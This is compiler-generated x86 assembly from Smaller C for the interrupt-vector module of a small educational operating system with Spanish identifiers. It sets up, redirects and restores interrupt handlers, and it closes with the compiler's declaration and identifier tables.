; prm cmd : unsigned short
; prm arg : unsigned short
; ) int
; glb ioctl_t : * (
; prm dfs : int
; prm request : unsigned short
; prm arg : unsigned short
; ) int
; glb eliminar_t : * (
; prm pindx : int
; ) int
; RPN'ized expression: "12 "
; Expanded expression: "12 "
; Expression value: 12
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
; glb descRecurso_t : struct <something>
; glb info_t : struct <something>
; glb cabecera_t : struct <something>
; RPN'ized expression: "16 1 + "
; Expanded expression: "17 "
; Expression value: 17
; RPN'ized expression: "16 2 + "
; Expanded expression: "18 "
; Expression value: 18
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "2010 2 + "
; Expanded expression: "2012 "
; Expression value: 2012
; RPN'ized expression: "20 1 + "
; Expanded expression: "21 "
; Expression value: 21
; RPN'ized expression: "20 2 + "
; Expanded expression: "22 "
; Expression value: 22
; RPN'ized expression: "14 1 + "
; Expanded expression: "15 "
; Expression value: 15
; RPN'ized expression: "14 2 + "
; Expanded expression: "16 "
; Expression value: 16
; RPN'ized expression: "16 16 + "
; Expanded expression: "32 "
; Expression value: 32
; RPN'ized expression: "2010 16 + "
; Expanded expression: "2026 "
; Expression value: 2026
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "16 1 + "
; Expanded expression: "17 "
; Expression value: 17
; RPN'ized expression: "2010 1 + "
; Expanded expression: "2011 "
; Expression value: 2011
; RPN'ized expression: "20 14 + "
; Expanded expression: "34 "
; Expression value: 34
; glb e2PFR_t : struct <something>
; glb cPFR_t : int
; glb sigThread_t : * () int
; glb activarThread_t : * (
; prm tindx : int
; ) void
; glb buscarNuevoThreadActual_t : * (void) void
; glb bloquearThreadActual_t : * (
; prm rindx : int
; ) void
; glb descSO1H_t : struct <something>
%define SP0_SO1H 0x8000
%define SP0_Kernel 0xA000
; glb startBin : (void) void
; glb modoSO1 : (void) int
; glb unidadBIOS : (void) unsigned char
; glb CS_SO1H : unsigned short
; glb RO_SO1H : unsigned short
; glb DS_SO1H : unsigned short
; glb BSS_SO1H : unsigned short
; glb SS_SO1H : unsigned short
; glb SS_Kernel : unsigned short
; glb IMRInicial : unsigned short
; glb obtenerMapa : (void) void
; RPN'ized expression: "12 "
; Expanded expression: "12 "
; Expression value: 12
; RPN'ized expression: "80 "
; Expanded expression: "80 "
; Expression value: 80
; RPN'ized expression: "10 "
; Expanded expression: "10 "
; Expression value: 10
; glb descProcesoExt_t : struct <something>
; glb descThreadExt_t : struct <something>
; RPN'ized expression: "16 "
; Expanded expression: "16 "
; Expression value: 16
; glb descProceso : [16u] struct <something>
; RPN'ized expression: "2010 "
; Expanded expression: "2010 "
; Expression value: 2010
; glb descThread : [2010u] struct <something>
; RPN'ized expression: "20 "
; Expanded expression: "20 "
; Expression value: 20
; glb descFichero : [20u] struct <something>
; RPN'ized expression: "14 "
; Expanded expression: "14 "
; Expression value: 14
; glb descRecurso : [14u] struct <something>
; RPN'ized expression: "numColasPFR "
; Expanded expression: "12 "
; Expression value: 12
; glb c2cPFR : [12u] struct <something>
; glb e2PFR : struct <something>
; glb descCcbAlEpilogo : struct <something>
; glb ccbAlEpilogo : * struct <something>
; glb tramaThread : * union <something>
; glb tramaTarea : * union <something>
; glb indThreadActual : int
; glb indProcesoActual : int
; glb indThreadDeSuperficie : int
; glb contRodajas : unsigned
; glb contTicsRodaja : int
; glb contadorTimer00 : unsigned short
; glb contOcioso : int
; glb nuevoPid : (void) int
; glb nuevoTid : (void) int
; glb indice : (
; prm tid : int
; ) int
; glb sigThread : (void) int
; glb activarThread : (
; prm tindx : int
; ) int
; glb registrarEnPOrdenados : (
; prm pindx : int
; ) void
; glb crearThread : (
; prm funcion : * (
; prm <something> : * void
; ) * void
; prm SP0 : unsigned short
; prm arg : * void
; prm pindx : int
; ) int
; glb crearProceso : (
; prm segmento : unsigned short
; prm tam : unsigned short
; prm tamFich : unsigned
; prm programa : * char
; prm comando : * char
; prm pindx : int
; ) int
; glb inicProcesos : (void) void
; glb resetPids : (void) void
; glb resetTids : (void) void
; glb terminarThreadIndx : (
; prm tindx : int
; ) int
; glb eliminarThreadIndx : (
; prm tindx : int
; ) int
; glb terminarProcIndx : (
; prm pindx : int
; ) int
; glb eliminarProcIndx : (
; prm pindx : int
; ) int
; glb matarThreadIndx : (
; prm tindx : int
; ) int
; glb matarProcIndx : (
; prm pindx : int
; ) int
; glb link_procs : (void) void
; glb SS_Thread : unsigned short
; glb SP_Thread : unsigned short
; glb SS_Tarea : unsigned short
; glb SP_Tarea : unsigned short
; glb nivelActivacionSO1H : int
; glb nVIntActual : int
; glb enHalt : int
; glb activarAlEpilogo1 : int
; glb hayTic : int
; glb setKernelStack : (void) void
; glb setThreadStack : (
; prm SS_Thread : unsigned short
; prm SP_Thread : unsigned short
; ) void
; glb reg_DL : (void) unsigned
; glb prepararDesbloqueadosUrgentes : (void) void
; glb buscarNuevoThreadActual : (void) void
; glb bloquearThreadActual : (
; prm rindx : int
; ) void
; RPN'ized expression: "256 "
; Expanded expression: "256 "
; Expression value: 256
; glb VIOrg : [256u] * (void) void
; RPN'ized expression: "256 "
; Expanded expression: "256 "
; Expression value: 256
; glb recVInt : [256u] int
; glb redirigirInt : (
; prm nVInt : unsigned char
; prm isr : * (void) void
; ) void
; glb redirigirIntHardware : (
; prm irq : unsigned char
; prm isr : * (void) void
; ) void
; glb restablecerInt : (
; prm nVInt : int
; ) void
; glb inicTVI : (void) void
; glb link_ints : (void) void
; glb printCarVideo : (
; prm car : char
; ) int
; glb printLnVideo : (void) int
; glb printStrVideo : (
; prm str : * char
; ) int
; glb printStrHastaVideo : (
; prm str : * char
; prm n : unsigned short
; prm lleno : int
; ) int
; glb printDecVideo : (
; prm num : unsigned short
; prm l : unsigned short
; ) int
; glb printLDecVideo : (
; prm num : unsigned
; prm l : unsigned short
; ) int
; glb printIntVideo : (
; prm num : int
; prm l : unsigned short
; ) int
; glb printLIntVideo : (
; prm num : int
; prm l : unsigned short
; ) int
; glb printHexVideo : (
; prm num : unsigned short
; prm l : unsigned short
; ) int
; glb printLHexVideo : (
; prm num : unsigned
; prm l : unsigned short
; ) int
; glb printBinVideo : (
; prm num : unsigned short
; prm l : unsigned short
; ) int
; glb printLBinVideo : (
; prm num : unsigned
; prm l : unsigned short
; ) int
; glb printPtrVideo : (
; prm ptr : * unsigned char
; ) int
; glb printByteVideo : (
; prm b : unsigned char
; ) int
; glb printWordVideo : (
; prm w : unsigned short
; ) int
; glb printCadVideo : (
; prm cad : * char
; ) int
section .text
global _link_ints
_link_ints:
; RPN'ized expression: "256 "
; Expanded expression: "256 "
; Expression value: 256
; glb VIOrg : [256u] * (void) void
section .bss
alignb 4
global _VIOrg
_VIOrg:
resb 1024
; RPN'ized expression: "256 "
; Expanded expression: "256 "
; Expression value: 256
; glb recVInt : [256u] int
section .bss
alignb 4
global _recVInt
_recVInt:
resb 1024
; glb isrNula : (void) void
section .text
global _isrNula
_isrNula:
push ebp
movzx ebp, sp
;sub sp, 0
L1:
db 0x66
leave
retf
L3:
section .fxnsz noalloc
dd L3 - _isrNula
; RPN'ized expression: "256 "
; Expanded expression: "256 "
; Expression value: 256
; glb isr : [256u] * (void) void
section .bss
alignb 4
global _isr
_isr:
resb 1024
%macro RTI 2
pushad
mov dl,0%1%2h
jmp word fin
%endmacro
%macro RTIF 1
RTI %1, 0
RTI %1, 1
RTI %1, 2
RTI %1, 3
RTI %1, 4
RTI %1, 5
RTI %1, 6
RTI %1, 7
RTI %1, 8
RTI %1, 9
RTI %1, a
RTI %1, b
RTI %1, c
RTI %1, d
RTI %1, e
RTI %1, f
%endmacro
; glb rti_00 : (void) void
; glb envolvente_00 : (void) void
section .text
global _envolvente_00
_envolvente_00:
push ebp
movzx ebp, sp
;sub sp, 0
; rti_00_entry:
L6:
section .text
global _rti_00
_rti_00:
RTIF 0
RTIF 1
RTIF 2
RTIF 3
RTIF 4
RTIF 5
RTIF 6
RTIF 7
RTIF 8
RTIF 9
RTIF a
RTIF b
RTIF c
RTIF d
RTIF e
RTIF f
fin:
push es
push ds
; if
; RPN'ized expression: "nivelActivacionSO1H ++ 1 == "
; Expanded expression: "nivelActivacionSO1H ++(4) 1 == "
; Fused expression: "nivelActivacionSO1H ++(4) *ax == ax 1 IF! "
section .relod
dd L9
section .text
db 0x66, 0xB8
L9:
dd _nivelActivacionSO1H
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
inc dword [si]
mov eax, [si]
cmp eax, 1
jne L7
; {
push esp
mov ax,ss
movzx eax,ax
push eax
; RPN'ized expression: "( setKernelStack ) "
; Expanded expression: " setKernelStack ()0 "
; Fused expression: "( setKernelStack )0 "
db 0x9A
section .relot
dd L10
section .text
L10:
dd _setKernelStack
; }
L7:
; RPN'ized expression: "nVIntActual ( reg_DL ) = "
; Expanded expression: "nVIntActual reg_DL ()0 =(4) "
; Fused expression: "nVIntActual push-ax ( reg_DL )0 =(204) **sp ax "
section .relod
dd L11
section .text
db 0x66, 0xB8
L11:
dd _nVIntActual
push eax
db 0x9A
section .relot
dd L12
section .text
L12:
dd _reg_DL
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; RPN'ized expression: "( isr nVIntActual + *u ) "
; Expanded expression: " isr nVIntActual *(4) 4 * + *(4) ()0 "
; Fused expression: "( isr push-ax nVIntActual * *ax 4 + *sp ax *(4) ax )0 "
section .relod
dd L13
section .text
db 0x66, 0xB8
L13:
dd _isr
push eax
section .relod
dd L14
section .text
db 0x66, 0xB8
L14:
dd _nVIntActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 4
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
db 0x9A
section .relot
dd L15
section .text
L15:
dd L16
L16:
mov si, sp
add word [ss:si], L17 - L16
shl eax, 12
rol ax, 4
push eax
retf
L17:
; if
; RPN'ized expression: "nivelActivacionSO1H 1 == enHalt || "
; Expanded expression: "nivelActivacionSO1H *(4) 1 == [sh||->20] enHalt *(4) _Bool ||[20] "
; Fused expression: "nivelActivacionSO1H == *ax 1 [sh||->20] enHalt *(4) ax _Bool ||[20] "
section .relod
dd L21
section .text
db 0x66, 0xB8
L21:
dd _nivelActivacionSO1H
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 1
sete al
movzx eax, al
; JumpIfNotZero
test eax, eax
jne L20
section .relod
dd L22
section .text
db 0x66, 0xB8
L22:
dd _enHalt
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
test eax, eax
setne al
movsx eax, al
L20:
; JumpIfZero
test eax, eax
je L18
; {
; if
; RPN'ized expression: "ccbAlEpilogo num -> *u 0 > "
; Expanded expression: "ccbAlEpilogo *(4) 0 + *(2) 0 > "
; Fused expression: "ccbAlEpilogo + *ax 0 > *ax 0 IF! "
section .relod
dd L25
section .text
db 0x66, 0xB8
L25:
dd _ccbAlEpilogo
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
cmp eax, 0
jle L23
; RPN'ized expression: "( ccbAlEpilogo atenderCcb ) "
; Expanded expression: " ccbAlEpilogo *(4) atenderCcb ()4 "
; Fused expression: "( ccbAlEpilogo *(4) ax , atenderCcb )4 "
section .relod
dd L26
section .text
db 0x66, 0xB8
L26:
dd _ccbAlEpilogo
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L27
section .text
L27:
dd _atenderCcb
sub sp, -4
L23:
; if
; RPN'ized expression: "c2cPFR TUrgentes + *u &u numElem -> *u 0 > "
; Expanded expression: "c2cPFR 80 + 0 + *(4) 0 > "
; Fused expression: "c2cPFR + ax 80 + ax 0 > *ax 0 IF! "
section .relod
dd L30
section .text
db 0x66, 0xB8
L30:
dd _c2cPFR
add eax, 80
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 0
jle L28
; RPN'ized expression: "( prepararDesbloqueadosUrgentes ) "
; Expanded expression: " prepararDesbloqueadosUrgentes ()0 "
; Fused expression: "( prepararDesbloqueadosUrgentes )0 "
db 0x9A
section .relot
dd L31
section .text
L31:
dd _prepararDesbloqueadosUrgentes
L28:
; if
; RPN'ized expression: "activarAlEpilogo1 "
; Expanded expression: "activarAlEpilogo1 *(4) "
; Fused expression: "activarAlEpilogo1 *(4) ax "
section .relod
dd L34
section .text
db 0x66, 0xB8
L34:
dd _activarAlEpilogo1
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
; JumpIfZero
test eax, eax
je L32
; {
; RPN'ized expression: "activarAlEpilogo1 FALSE = "
; Expanded expression: "activarAlEpilogo1 0 =(4) "
; Fused expression: "activarAlEpilogo1 =(204) *ax 0 "
section .relod
dd L35
section .text
db 0x66, 0xB8
L35:
dd _activarAlEpilogo1
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; RPN'ized expression: "( ( sigThread ) activarThread ) "
; Expanded expression: " sigThread ()0 activarThread ()4 "
; Fused expression: "( ( sigThread )0 , activarThread )4 "
db 0x9A
section .relot
dd L36
section .text
L36:
dd _sigThread
push eax
db 0x9A
section .relot
dd L37
section .text
L37:
dd _activarThread
sub sp, -4
; }
L32:
; }
L18:
; if
; RPN'ized expression: "nivelActivacionSO1H --p 1 == "
; Expanded expression: "nivelActivacionSO1H --p(4) 1 == "
; Fused expression: "nivelActivacionSO1H --p(4) *ax == ax 1 IF! "
section .relod
dd L40
section .text
db 0x66, 0xB8
L40:
dd _nivelActivacionSO1H
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
dec dword [si]
cmp eax, 1
jne L38
; {
; RPN'ized expression: "( SP_Thread , SS_Thread setThreadStack ) "
; Expanded expression: " SP_Thread *(2) SS_Thread *(2) setThreadStack ()8 "
; Fused expression: "( SP_Thread *(2) ax , SS_Thread *(2) ax , setThreadStack )8 "
section .relod
dd L41
section .text
db 0x66, 0xB8
L41:
dd _SP_Thread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
push eax
section .relod
dd L42
section .text
db 0x66, 0xB8
L42:
dd _SS_Thread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
push eax
db 0x9A
section .relot
dd L43
section .text
L43:
dd _setThreadStack
sub sp, -8
; }
L38:
pop ds
pop es
popad
iret
L4:
db 0x66
leave
retf
L44:
section .fxnsz
dd L44 - _envolvente_00
; glb inicTVI : (void) void
section .text
global _inicTVI
_inicTVI:
push ebp
movzx ebp, sp
sub sp, 4
; loc nVInt : (@-4): int
; for
; RPN'ized expression: "nVInt 0 = "
; Expanded expression: "(@-4) 0 =(4) "
; Fused expression: "=(204) *(@-4) 0 "
mov eax, 0
mov [bp-4], eax
L47:
; RPN'ized expression: "nVInt 256 < "
; Expanded expression: "(@-4) *(4) 256 < "
; Fused expression: "< *(@-4) 256 IF! "
mov eax, [bp-4]
cmp eax, 256
jge L50
; RPN'ized expression: "nVInt ++p "
; Expanded expression: "(@-4) ++p(4) "
; {
; RPN'ized expression: "VIOrg nVInt + *u ptrTVI nVInt + *u = "
; Expanded expression: "VIOrg (@-4) *(4) 4 * + ptrTVI *(4) (@-4) *(4) 4 * + *(4) =(4) "
; Fused expression: "VIOrg push-ax * *(@-4) 4 + *sp ax push-ax ptrTVI push-ax * *(@-4) 4 + **sp ax =(204) **sp *ax "
section .relod
dd L51
section .text
db 0x66, 0xB8
L51:
dd _VIOrg
push eax
mov eax, [bp-4]
imul eax, eax, 4
mov ecx, eax
pop eax
add eax, ecx
push eax
section .relod
dd L52
section .text
db 0x66, 0xB8
L52:
dd _ptrTVI
push eax
mov eax, [bp-4]
imul eax, eax, 4
mov ecx, eax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, ecx
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; RPN'ized expression: "recVInt nVInt + *u 1 -u = "
; Expanded expression: "recVInt (@-4) *(4) 4 * + -1 =(4) "
; Fused expression: "recVInt push-ax * *(@-4) 4 + *sp ax =(204) *ax -1 "
section .relod
dd L53
section .text
db 0x66, 0xB8
L53:
dd _recVInt
push eax
mov eax, [bp-4]
imul eax, eax, 4
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov eax, -1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : * (void) void
; RPN'ized expression: "isr nVInt + *u isrNula (something54) = "
; Expanded expression: "isr (@-4) *(4) 4 * + isrNula =(4) "
; Fused expression: "isr push-ax * *(@-4) 4 + *sp ax push-ax isrNula =(204) **sp ax "
section .relod
dd L55
section .text
db 0x66, 0xB8
L55:
dd _isr
push eax
mov eax, [bp-4]
imul eax, eax, 4
mov ecx, eax
pop eax
add eax, ecx
push eax
section .relod
dd L56
section .text
db 0x66, 0xB8
L56:
dd _isrNula
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; }
L48:
; Fused expression: "++p(4) *(@-4) "
mov eax, [bp-4]
inc dword [bp-4]
jmp L47
L50:
L45:
db 0x66
leave
retf
L57:
section .fxnsz
dd L57 - _inicTVI
; glb redirigirInt : (
; prm nVInt : unsigned char
; prm isr_x : * (void) void
; ) void
section .text
global _redirigirInt
_redirigirInt:
push ebp
movzx ebp, sp
;sub sp, 0
; loc nVInt : (@8): unsigned char
; loc isr_x : (@12): * (void) void
; loc <something> : * (void) void
; loc <something> : unsigned
; loc <something> : unsigned short
; loc <something> : unsigned
; loc <something> : unsigned short
; loc <something> : unsigned
; loc <something> : unsigned
; loc <something> : unsigned
; RPN'ized expression: "ptrTVI nVInt + *u _start__text &u (something63) 4 >> (something62) (something61) 16 << envolvente_00 &u (something65) 6 + nVInt 7 * (something66) + _start__text &u (something67) - (something64) | (something60) = "
; Expanded expression: "ptrTVI *(4) (@8) *(1) 4 * + _start__text 4 >>u unsigned short 16 << envolvente_00 6 + (@8) *(1) 7 * + _start__text - unsigned short | =(4) "
; Fused expression: "ptrTVI push-ax * *(@8) 4 + **sp ax push-ax _start__text >>u ax 4 unsigned short << ax 16 push-ax envolvente_00 + ax 6 push-ax * *(@8) 7 + *sp ax push-ax _start__text - *sp ax unsigned short | *sp ax =(204) **sp ax "
section .relod
dd L68
section .text
db 0x66, 0xB8
L68:
dd _ptrTVI
push eax
mov al, [bp+8]
movzx eax, al
imul eax, eax, 4
mov ecx, eax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, ecx
push eax
section .relod
dd L69
section .text
db 0x66, 0xB8
L69:
dd __start__text
shr eax, 4
movzx eax, ax
shl eax, 16
push eax
section .relod
dd L70
section .text
db 0x66, 0xB8
L70:
dd _envolvente_00
add eax, 6
push eax
mov al, [bp+8]
movzx eax, al
imul eax, eax, 7
mov ecx, eax
pop eax
add eax, ecx
push eax
section .relod
dd L71
section .text
db 0x66, 0xB8
L71:
dd __start__text
mov ecx, eax
pop eax
sub eax, ecx
movzx eax, ax
mov ecx, eax
pop eax
or eax, ecx
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; RPN'ized expression: "isr nVInt + *u isr_x = "
; Expanded expression: "isr (@8) *(1) 4 * + (@12) *(4) =(4) "
; Fused expression: "isr push-ax * *(@8) 4 + *sp ax =(204) *ax *(@12) "
section .relod
dd L72
section .text
db 0x66, 0xB8
L72:
dd _isr
push eax
mov al, [bp+8]
movzx eax, al
imul eax, eax, 4
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov eax, [bp+12]
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
L58:
db 0x66
leave
retf
L73:
section .fxnsz
dd L73 - _redirigirInt
; glb redirigirIntHardware : (
; prm irq : unsigned char
; prm isr : * (void) void
; ) void
section .text
global _redirigirIntHardware
_redirigirIntHardware:
push ebp
movzx ebp, sp
sub sp, 4
; loc irq : (@8): unsigned char
; loc isr : (@12): * (void) void
; loc nVInt : (@-4): unsigned char
; if
; RPN'ized expression: "irq 8 < "
; Expanded expression: "(@8) *(1) 8 < "
; Fused expression: "< *(@8) 8 IF! "
mov al, [bp+8]
movzx eax, al
cmp eax, 8
jge L76
; {
; RPN'ized expression: "( 1 irq << unmask_pic1 ) "
; Expanded expression: " 1 (@8) *(1) << unmask_pic1 ()4 "
; Fused expression: "( << 1 *(@8) , unmask_pic1 )4 "
mov eax, 1
mov cl, [bp+8]
shl eax, cl
push eax
db 0x9A
section .relot
dd L78
section .text
L78:
dd _unmask_pic1
sub sp, -4
; RPN'ized expression: "nVInt 8 irq + = "
; Expanded expression: "(@-4) 8 (@8) *(1) + =(1) "
; Fused expression: "+ 8 *(@8) =(156) *(@-4) ax "
mov eax, 8
movzx ecx, byte [bp+8]
add eax, ecx
mov [bp-4], al
movzx eax, al
; }
jmp L77
L76:
; else
; {
; RPN'ized expression: "( 1 2 << unmask_pic1 ) "
; Expanded expression: " 4 unmask_pic1 ()4 "
; Fused expression: "( 4 , unmask_pic1 )4 "
push dword 4
db 0x9A
section .relot
dd L79
section .text
L79:
dd _unmask_pic1
sub sp, -4
; RPN'ized expression: "( 1 irq 8 - << unmask_pic2 ) "
; Expanded expression: " 1 (@8) *(1) 8 - << unmask_pic2 ()4 "
; Fused expression: "( - *(@8) 8 << 1 ax , unmask_pic2 )4 "
mov al, [bp+8]
movzx eax, al
sub eax, 8
mov ecx, eax
mov eax, 1
shl eax, cl
push eax
db 0x9A
section .relot
dd L80
section .text
L80:
dd _unmask_pic2
sub sp, -4
; RPN'ized expression: "nVInt 112 irq + 8 - = "
; Expanded expression: "(@-4) 112 (@8) *(1) + 8 - =(1) "
; Fused expression: "+ 112 *(@8) - ax 8 =(156) *(@-4) ax "
mov eax, 112
movzx ecx, byte [bp+8]
add eax, ecx
sub eax, 8
mov [bp-4], al
movzx eax, al
; }
L77:
; RPN'ized expression: "( isr , nVInt redirigirInt ) "
; Expanded expression: " (@12) *(4) (@-4) *(1) redirigirInt ()8 "
; Fused expression: "( *(4) (@12) , *(1) (@-4) , redirigirInt )8 "
push dword [bp+12]
mov al, [bp-4]
movzx eax, al
push eax
db 0x9A
section .relot
dd L81
section .text
L81:
dd _redirigirInt
sub sp, -8
L74:
db 0x66
leave
retf
L82:
section .fxnsz
dd L82 - _redirigirIntHardware
; glb restablecerInt : (
; prm nVInt : int
; ) void
section .text
global _restablecerInt
_restablecerInt:
push ebp
movzx ebp, sp
;sub sp, 0
; loc nVInt : (@8): int
; RPN'ized expression: "ptrTVI nVInt + *u VIOrg nVInt + *u = "
; Expanded expression: "ptrTVI *(4) (@8) *(4) 4 * + VIOrg (@8) *(4) 4 * + *(4) =(4) "
; Fused expression: "ptrTVI push-ax * *(@8) 4 + **sp ax push-ax VIOrg push-ax * *(@8) 4 + *sp ax =(204) **sp *ax "
section .relod
dd L85
section .text
db 0x66, 0xB8
L85:
dd _ptrTVI
push eax
mov eax, [bp+8]
imul eax, eax, 4
mov ecx, eax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, ecx
push eax
section .relod
dd L86
section .text
db 0x66, 0xB8
L86:
dd _VIOrg
push eax
mov eax, [bp+8]
imul eax, eax, 4
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : * (void) void
; RPN'ized expression: "isr nVInt + *u isrNula (something87) = "
; Expanded expression: "isr (@8) *(4) 4 * + isrNula =(4) "
; Fused expression: "isr push-ax * *(@8) 4 + *sp ax push-ax isrNula =(204) **sp ax "
section .relod
dd L88
section .text
db 0x66, 0xB8
L88:
dd _isr
push eax
mov eax, [bp+8]
imul eax, eax, 4
mov ecx, eax
pop eax
add eax, ecx
push eax
section .relod
dd L89
section .text
db 0x66, 0xB8
L89:
dd _isrNula
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
L83:
db 0x66
leave
retf
L90:
section .fxnsz
dd L90 - _restablecerInt
extern _nivelActivacionSO1H
extern _setKernelStack
extern _nVIntActual
extern _reg_DL
extern _enHalt
extern _ccbAlEpilogo
extern _atenderCcb
extern _c2cPFR
extern _prepararDesbloqueadosUrgentes
extern _activarAlEpilogo1
extern _sigThread
extern _activarThread
extern _SP_Thread
extern _SS_Thread
extern _setThreadStack
extern _ptrTVI
extern __start__text
extern _unmask_pic1
extern _unmask_pic2
; Syntax/declaration table/stack:
; Bytes used: 12295/40960
; Macro table:
; Macro __SMALLER_C__ = `0x0100`
; Macro __SMALLER_C_32__ = ``
; Macro __HUGE__ = ``
; Macro __SMALLER_C_SCHAR__ = ``
; Bytes used: 74/5120
; Identifier table:
; Ident __floatsisf
; Ident __floatunsisf
; Ident __fixsfsi
; Ident __fixunssfsi
; Ident __addsf3
; Ident __subsf3
; Ident __negsf2
; Ident __mulsf3
; Ident __divsf3
; Ident __lesf2
; Ident __gesf2
; Ident intptr_t
; Ident uintptr_t
; Ident intmax_t
; Ident uintmax_t
; Ident int8_t
; Ident int_least8_t
; Ident int_fast8_t
; Ident uint8_t
; Ident uint_least8_t
; Ident uint_fast8_t
; Ident int16_t
; Ident int_least16_t
; Ident int_fast16_t
; Ident uint16_t
; Ident uint_least16_t
; Ident uint_fast16_t
; Ident int32_t
; Ident int_least32_t
; Ident int_fast32_t
; Ident uint32_t
; Ident uint_least32_t
; Ident uint_fast32_t
; Ident <something>
; Ident quot
; Ident rem
; Ident imaxdiv_t
; Ident FALSE
; Ident TRUE
; Ident bool_t
; Ident pointer_t
; Ident funcion_t
; Ident manejador_t
; Ident rti_t
; Ident isr_t
; Ident handler_t
; Ident retardarThread_t
; Ident ptrTVI_t
; Ident modoSO1_Bin
; Ident modoSO1_Exe
; Ident modoSO1_Bs
; Ident modoSO1_t
; Ident lo
; Ident hi
; Ident lh_t
; Ident offset
; Ident segment
; Ident address_t
; Ident ptr
; Ident adr
; Ident uPtrAdr_t
; Ident pid_t
; Ident tid_t
; Ident uid_t
; Ident gid_t
; Ident pindx_t
; Ident tindx_t
; Ident df_t
; Ident dfs_t
; Ident rindx_t
; Ident inportb
; Ident port
; Ident inport
; Ident outport
; Ident val
; Ident outportb
; Ident inportb_r
; Ident outportb_r
; Ident contadorTimer0
; Ident ptrTVI
; Ident valorIMR
; Ident establecerIMR
; Ident nuevoIMR
; Ident mask_pic1
; Ident irq
; Ident mask_pic2
; Ident unmask_pic1
; Ident unmask_pic2
; Ident get_pic1_isr
; Ident get_pic2_isr
; Ident set_pics
; Ident irq0
; Ident irq8
; Ident pic_setup
; Ident enable_hwirq
; Ident hwirq
; Ident rti
; Ident _start__text
; Ident _stop__text
; Ident _start__rodata
; Ident _stop__rodata
; Ident _start__data
; Ident _stop__data
; Ident _start__bss
; Ident _stop__bss
; Ident _start_allcode__
; Ident _stop_allcode__
; Ident _start_alldata__
; Ident _stop_alldata__
; Ident mostrarSeccion
; Ident start
; Ident stop
; Ident descripcion
; Ident mostrarSecciones
; Ident modoAp_t
; Ident DS
; Ident ES
; Ident EDI
; Ident ESI
; Ident EBP
; Ident ESP
; Ident EBX
; Ident EDX
; Ident ECX
; Ident EAX
; Ident IP
; Ident CS
; Ident Flags
; Ident tramaDWords_t
; Ident DI
; Ident rDI
; Ident SI
; Ident rSI
; Ident BP
; Ident rBP
; Ident SP
; Ident rSP
; Ident BX
; Ident rBX
; Ident DX
; Ident rDX
; Ident CX
; Ident rCX
; Ident AX
; Ident rAX
; Ident tramaWords_t
; Ident BL
; Ident BH
; Ident rB
; Ident DL
; Ident DH
; Ident rD
; Ident CL
; Ident CH
; Ident rC
; Ident AL
; Ident AH
; Ident rA
; Ident tramaBytes_t
; Ident td
; Ident tw
; Ident tb
; Ident trama_t
; Ident tam
; Ident sig
; Ident ant
; Ident aux
; Ident relleno
; Ident bloque_t
; Ident ptrBloque_t
; Ident cab
; Ident dobleEnlace_t
; Ident numElem
; Ident primero
; Ident cabecera
; Ident e
; Ident c2c_t
; Ident posicionC2c
; Ident i
; Ident c2c
; Ident eliminarC2c
; Ident apilarC2c
; Ident encolarC2c
; Ident desencolarC2c
; Ident inicializarC2c
; Ident compartida
; Ident ptrC2c_t
; Ident posicionPC2c
; Ident eliminarPC2c
; Ident ptrC2c
; Ident apilarPC2c
; Ident encolarPC2c
; Ident desencolarPC2c
; Ident inicializarPC2c
; Ident callBack_t
; Ident arg
; Ident num
; Ident in
; Ident out
; Ident max
; Ident callBack
; Ident descCcb_t
